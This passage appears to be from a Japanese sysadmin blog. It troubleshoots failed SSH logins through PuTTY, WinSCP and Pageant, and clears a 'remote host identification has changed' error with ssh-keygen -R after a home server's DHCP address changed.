  • 解決方法 公開鍵をauthotized_keysに設置する。 鍵ペアをいくつか作ってしまってもうどれがどれだか分からないときは、まずどの秘密鍵を使うかを決めて、それ以外は全部捨てる。で、秘密鍵には公開鍵の情報もインクルードされているので、とりあえず「使う秘密鍵」をテキストエディタかPuTTYgenで開いて、ペアとなる公開鍵をauthorized_keysに設置すればOK。

よくある原因 6. Pageantが起動していない

  • ログインできないときのPuTTYのエラーメッセージ
PuTTY 致命的エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
  • ログインできないときのWinSCPのエラーメッセージ
エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
認証ログ (詳細はセッションログを見て下さい):
ユーザ名"mochikoAsTech" を使用中
認証に失敗
  • ログインできないときの/var/log/secure のエラーメッセージ
sshd[5545]: Received disconnect from 192.168.146.1: 14: No supported authentication methods available
  • ログインできない原因 PuTTYWinSCPで「Pageantを使って認証する」としているのに、Pageantを起動していないから。 Pageant秘密鍵を登録していない、またはPuTTYWinSCPで「Pageantを使って認証する」にチェックが入っていない、などの原因も考えられる。
  • 解説 5とほぼ同じ理由。サーバにある公開鍵とペアになる秘密鍵を提示できなかったので、鍵認証が成立せず、ログイン出来なかった、ということ。
  • 解決方法 Pageantを起動して秘密鍵が登録されていることを確認すればOK。PuTTYWinSCPで「Pageantを使って認証する」にチェックが入っているかも確認する。

よくある原因 7. サーバで変更があってホスト認証に失敗する

  • ログインできないときのPuTTYのエラーメッセージ PCからPuTTYでサーバにログインするときは、ホスト認証に失敗しても特にエラーは出ない様子。 PCからLinuxのサーバにログインして、そこからさらに別のLinuxサーバにログインするときは、以下のようなエラーメッセージが出る。
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
fe:28:cf:63:05:49:56:df:55:78:ed:37:90:06:2a:5f.
Please contact your system administrator.
Add correct host key in /home/mochikoAsTech/.ssh/known_hosts to get rid of this message.
Offending key in /home/mochikoAsTech/.ssh/known_hosts:1
RSA host key for 192.168.146.128 has changed and you have requested strict checking.
Host key verification failed.
  • ログインできないときのWinSCPのエラーメッセージ
WinSCPでは特にエラーが出たり、ログインを取りやめたりはしない模様。
  • ログインできないときの/var/log/secure のエラーメッセージ
sshd[5921]: Connection closed by 192.168.146.128
  • ログインできない原因 ログイン先サーバの/etc/sshの下にあるホストキーが変わったため。
  • 解説 接続元のサーバがホスト認証(=ホストキーを使って「今ログインしようとしているサーバは、前回ログインしたサーバと同じサーバか?」を確認すること)をして、「前回ログインしたサーバとは別のサーバだ!なりすましかも!危険!」と判断したので、接続を取りやめた。接続先のサーバ/etc/ssh以下にあるホストキーが変わってしまうとこうなる。
  • 解決方法 接続元のサーバで、ホームディレクトリの.ssh/known_hostsから該当行を削除すればログインできるようになる。viで直接編集しても、ssh-keygenコマンドを使ってもOK。 削除した後に再度ログインしようとすると、「初めて接続するサーバだが接続してもよいか?」と聞かれるので、yesを押してEnterするとknown_hostsにホストキーが登録され、接続できるようになる。
$ ssh-keygen -R 192.168.146.128  ←接続できなかったサーバのホスト名かIPアドレスを指定
/home/mochikoAsTech/.ssh/known_hosts updated.  ←known_hostsから削除される
Original contents retained as /home/mochikoAsTech/.ssh/known_hosts.old
$ ssh 192.168.146.128  ←再度接続してみる
The authenticity of host '192.168.146.128 (192.168.146.128)' can't be established.
RSA key fingerprint is fe:28:cf:63:05:49:56:df:55:78:ed:37:90:06:2a:5f.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.146.128' (RSA) to the list of known hosts.
Last login: Sat Mar 8 11:40:32 2014 from 192.168.146.128

以上、サーバにログインできない!ときのよくある原因と解決方法でした。

CentOSにSSHでログインしようとすると「WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!」と出てログインできなかった

自宅にあるDELLのマシンにCentOSを入れて、同じく自宅のMacBookから鍵認証でログインできるように設定してから数週間・・・同じ鍵で同じように接続しようとするとエラーが!

$ ssh -i 秘密鍵のフルパス ユーザ名@192.168.1.**

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
d7:93:6f:04:f6:3f:89:02:**:**:**:**:**:**:87:69. ←フィンガープリント
Please contact your system administrator.
Add correct host key in /Users/ユーザ名/.ssh/known_hosts to get rid of this message.
Offending key in /Users/ユーザ名/.ssh/known_hosts:1
RSA host key for 192.168.1.xx has changed and you have requested strict checking.

Host key verification failed.

えー、公開鍵も秘密鍵もなんにも設定変更してないよー?と思い、DELLのマシンでもターミナルを開いて、

tailf /var/log/secure

を見てみると、

Aug 21 22:50:08 ホスト名 sshd[2912]: Connection closed by 192.168.1.**

うーん・・・?

もう一度、MacBookのターミナルで出たエラーメッセージをよく読んでみる。前回のログインと今回のログインで違うのは、DHCPIPアドレスを割り振ってるので、接続先のCentOSDELL)のIPアドレスが違う、という点。それで「MacBookの.ssh/known_hostsに書いてある初回のフィンガープリントと、今回接続しようとして受け取ったフィンガープリントが違うよ!これ前回と違うサーバじゃない?騙されてない?接続しない方がいいって!」となってる模様。

じゃあknown_hostsの該当箇所をさくっと消せばいいの?と思ったけど、調べたらssh-keygenコマンドに専用のオプションがあったー!

$ man ssh-keygen

ssh-keygen -R hostname [-f known_hosts_file]
(中略)
-R hostname
Removes all keys belonging to hostname from a known_hosts file.
This option is useful to delete hashed hosts (see the -H option above).

という訳で、MacBookのターミナルで

$ ssh-keygen -R 192.168.1.**
/Users/ユーザ名/.ssh/known_hosts updated.
Original contents retained as /Users/ユーザ名/.ssh/known_hosts.old

としてみた後に、再度接続を試す。

$ ssh -i 秘密鍵のフルパス ユーザ名@192.168.1.**
The authenticity of host '192.168.1.** (192.168.1.**)' can't be established.
RSA key fingerprint is d7:93:6f:04:f6:3f:89:02:ca:**:**:**:58:7a:87:69.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.1.14' (RSA) to the list of known hosts.

Identity added: 秘密鍵 (秘密鍵)
Last login: Fri Jun 28 23:47:54 2013 from 192.168.1.**

ログインできたー!(そして暫く接続してなかったことが分かった・・・)

ああ、またも「エラーメッセージをよく読め」って話だった。反省。